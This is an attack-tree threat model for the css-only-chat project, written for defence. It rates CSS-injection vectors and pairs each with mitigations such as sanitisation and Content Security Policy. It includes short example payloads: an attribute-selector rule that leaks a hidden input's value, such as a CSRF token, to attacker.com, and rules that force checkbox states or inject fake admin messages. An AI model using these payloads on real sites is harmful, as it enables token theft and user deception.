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Attack Tree Analysis for kkuchta/css-only-chat

Objective: Exfiltrate Data or Mislead Users via CSS-Only Chat [CRITICAL NODE]

Attack Tree Visualization

Goal: Exfiltrate Data or Mislead Users via CSS-Only Chat [CRITICAL NODE] ├── 1. Exfiltrate Data [HIGH-RISK PATH] │ ├── 1.1.1 Use CSS attribute selectors to detect input values. [CRITICAL NODE] │ └── 1.2 Exploit CSS-Based State Management (if used) [HIGH-RISK PATH] │ └── 1.2.1 Manipulate :checked states. [CRITICAL NODE] └── 2. Mislead Users [HIGH-RISK PATH] ├── 2.1 CSS Injection to Modify Existing Chat Content [HIGH-RISK PATH] │ ├── 2.1.1 Use CSS to change the displayed text of messages. [CRITICAL NODE] │ └── 2.1.3 Use CSS to inject fake messages or user interface elements. [CRITICAL NODE]

Attack Tree Path: 1. Exfiltrate Data [HIGH-RISK PATH]

  • Description: This path focuses on attacks aimed at extracting sensitive information from the application.
  • Sub-Vectors:

    • 1.1.1 Use CSS attribute selectors to detect input values. [CRITICAL NODE]

      • Attack: input[value^="sensitive_prefix"] { background-image: url("attacker.com/log?prefix=sensitive_prefix"); } (and variations for each character)
      • Explanation: If hidden input fields exist (e.g., for CSRF tokens), CSS can be injected to "guess" the value character by character. Each successful match triggers a request to the attacker's server, revealing part of the value.
      • Likelihood: Medium
      • Impact: High
      • Effort: Low
      • Skill Level: Intermediate
      • Detection Difficulty: Medium
      • Mitigation:
        • Strictly sanitize all inputs, even hidden ones.
        • Use a Content Security Policy (CSP) to restrict style-src and img-src.
        • Avoid hidden inputs if possible; if necessary, ensure they are not guessable.

    • 1.2 Exploit CSS-Based State Management (if used) [HIGH-RISK PATH]

      • Description: This vector targets the likely mechanism used by css-only-chat to manage application state.
      • Sub-Vectors:
        • 1.2.1 Manipulate :checked states. [CRITICAL NODE]
          • Attack: input[type="checkbox"] { display: block !important; } input[type="checkbox"]:not(:checked) { ...force checked state... }
          • Explanation: The application likely uses hidden checkboxes or radio buttons and CSS :checked states to control what is displayed. An attacker can inject CSS to force these elements into a specific state, potentially revealing hidden content or triggering unintended actions.
          • Likelihood: High
          • Impact: Medium to High
          • Effort: Low
          • Skill Level: Intermediate
          • Detection Difficulty: Medium
          • Mitigation:
            • Validate state changes server-side.
            • Consider adding JavaScript-based checks to prevent manipulation of hidden inputs.
            • Use CSP to restrict style modifications.
            • Avoid relying solely on CSS for critical state management.

Attack Tree Path: 2. Mislead Users [HIGH-RISK PATH]

  • Description: This path encompasses attacks designed to deceive users by altering the chat interface or content.
  • Sub-Vectors:
    • 2.1 CSS Injection to Modify Existing Chat Content [HIGH-RISK PATH]
      • Description: This focuses on directly altering the visible content of the chat.
      • Sub-Vectors:

        • 2.1.1 Use CSS to change the displayed text of messages. [CRITICAL NODE]

          • Attack: [data-message-id="123"]::after { content: "Modified message"; }
          • Explanation: If messages have unique identifiers (even in data attributes), CSS can be used to replace or append to their content, altering the message's meaning.
          • Likelihood: High
          • Impact: Medium to High
          • Effort: Low
          • Skill Level: Intermediate
          • Detection Difficulty: Easy
          • Mitigation:
            • Sanitize all user-generated content used in CSS selectors or attribute values.
            • Use a templating engine that escapes output appropriately.
            • Use CSP to limit the scope of injected styles.

        • 2.1.3 Use CSS to inject fake messages or user interface elements. [CRITICAL NODE]

          • Attack: body::after { content: "Fake message from admin"; display: block; ...styling... }
          • Explanation: An attacker can inject entirely new elements into the chat interface, impersonating other users or system messages, potentially for phishing or social engineering.
          • Likelihood: High
          • Impact: Medium to High
          • Effort: Low
          • Skill Level: Intermediate
          • Detection Difficulty: Easy
          • Mitigation:
            • Sanitize user input.
            • Use a CSP to restrict the creation of new elements via CSS.
            • Consider a more robust method for rendering messages (e.g., a JavaScript framework).